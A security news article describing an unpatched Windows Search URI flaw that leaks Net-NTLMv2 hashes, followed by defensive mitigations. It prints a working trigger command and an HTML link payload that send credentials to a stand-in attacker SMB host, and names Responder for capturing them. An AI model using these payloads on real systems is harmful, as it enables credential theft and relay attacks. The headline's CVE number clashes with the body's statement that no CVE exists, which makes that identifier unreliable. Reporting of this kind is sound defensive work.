Critical Windows Search Bug Leaks NTLMv2 Hashes (CVE-2023-29357)

Key Takeaways

• A critical vulnerability in the Windows Search URI handler can silently exfiltrate NTLMv2 hashes.
• Attackers can exploit this flaw by tricking a user into clicking a malicious link, leading to automatic hash transmission to a controlled server.
• The vulnerability affects Windows 11 25H2 Pro and is similar to a previously patched Snipping Tool flaw (CVE-2026-33829), but Microsoft has not yet issued a fix or CVE for this specific variant.
• The issue is rated with a Moderate severity, sharing the same CVSS vector as CVE-2026-33829.
• Blocking outbound SMB traffic from non-essential hosts is the most effective mitigation.

Unpatched Windows Search Flaw Leaks NTLMv2 Hashes Via Malicious URIs

A recently uncovered security vulnerability within the Windows Search URI handler allows for the silent exfiltration of NTLMv2 hashes. This critical flaw enables attackers to capture sensitive credential hashes by merely enticing a victim to click a specially crafted link, transmitting them to attacker-controlled servers without any user prompts or warnings.

Security researchers at Huntress identified this behavior, noting its striking similarity to CVE-2026-33829, an NTLM credential leakage vulnerability previously addressed in the Windows Snipping Tool. Despite the shared vulnerability class, Microsoft has not yet assigned a CVE identifier or released a patch for this specific Windows Search variant.

Understanding the Mechanism of Attack

The core of this vulnerability lies in how Windows processes specific Uniform Resource Identifiers (URIs). On April 14, 2026, Microsoft issued a patch for CVE-2026-33829, which involved the Snipping Tool’s ms-screensketch: URI handler. That particular flaw permitted attackers to specify a remote Universal Naming Convention (UNC) path via a filePath parameter. This action would then force outbound Server Message Block (SMB) authentication, inadvertently exposing the victim’s Net-NTLMv2 hash.

Huntress discovered that the Windows Search URI handler exhibits an identical vulnerability primitive. Instead of filePath, the search handler utilizes crumb=location to achieve the same outcome: leaking Net-NTLMv2 hashes to an attacker’s SMB endpoint. A user could be deceived into clicking what appears to be a legitimate link, triggering their system to automatically attempt communication with an attacker’s SMB server.

The exploit was successfully reproduced on Windows 11 25H2 Pro (Build 26200.8524) using a standard user account and default Defender settings, without any special developer or AppX configurations. The following command, when executed from a command prompt, is sufficient to trigger the hash leak:

start "" "search:query=test&crumb=location:10.0.1.100share"

Proper quoting and the start "" wrapper are essential for the command to execute correctly, as their absence can cause the command interpreter to misinterpret the & character as a command separator. When successfully triggered, Windows displays an “access denied” error dialog, but critically, this occurs only after the NTLMv2 hash has already been transmitted to the remote server.

It’s important to note that only the initial invocation of the exploit per logon session results in a hash leak. Subsequent attempts will return an “access denied” message until the user logs off and back on. For a phishing attack, this single successful attempt is all an adversary requires.

This attack vector is not confined to command-line execution. Embedding a malicious link, such as <a href="search:query=test&crumb=location:10.0.1.100share">click</a>, within a web page viewed in browsers like Microsoft Edge, can automatically trigger SMB authentication and send the hash to an attacker running a tool like Responder on a remote host. This occurs with a single click, no prompts, and no file downloads.

Technical Deep Dive and Historical Context

Both the search: and search-ms: URI schemes are registered independently in the Windows Registry (HKCR) but share the same command line and DelegateExecute CLSID, specifically {90b9bce2-b6db-4fd3-8451-35917ea1081b}. This CLSID maps to the SearchExecute (CLSID_SearchMSExecute) COM class located within ExplorerFrame.dll. Consequently, both URI schemes funnel through the identical COM activation path, meaning any deficiencies in input validation within SearchExecute affect both equally.

Previous research has highlighted related NTLM leakage concerns. Varonis documented a UNC-based NTLM leakage primitive via search-ms: in 2024, and Trellix identified search: as a potential attack surface in 2023. However, the specific combination of a bare search: URI with the crumb=location: parameter for NTLM leakage appears to be a new finding in public reporting.

The newly discovered Windows Search issue and CVE-2026-33829 share the same vulnerability class (NTLM leakage via URI handler), an identical effective CVSS vector (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N), and a “Moderate” severity rating. Despite these similarities, Microsoft opted to patch and assign a CVE for the Snipping Tool vulnerability while classifying the Windows Search case as “below the servicing bar,” citing that servicing decisions are exception-driven and made on a “case-by-case” basis.

What You Should Do

• Block Outbound SMB: The most impactful mitigation is to block outbound SMB (TCP ports 445 and 139) from any hosts that do not explicitly require it for legitimate operations.
• Enforce SMB Signing: Implement and enforce SMB signing across your network to prevent relay attacks.
• Restrict or Disable NTLM: Consider restricting or disabling NTLM authentication. This can be achieved by setting the RestrictSendingNTLMTraffic Group Policy to 2 after a thorough auditing process to avoid service disruptions.
• Monitor URI Usage: Configure alerts for search: and search-ms: URIs within mail and proxy logs to detect potential phishing attempts or malicious activity.
• User Education: Educate users about the dangers of clicking suspicious links, especially those that trigger unexpected system behavior or error messages.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.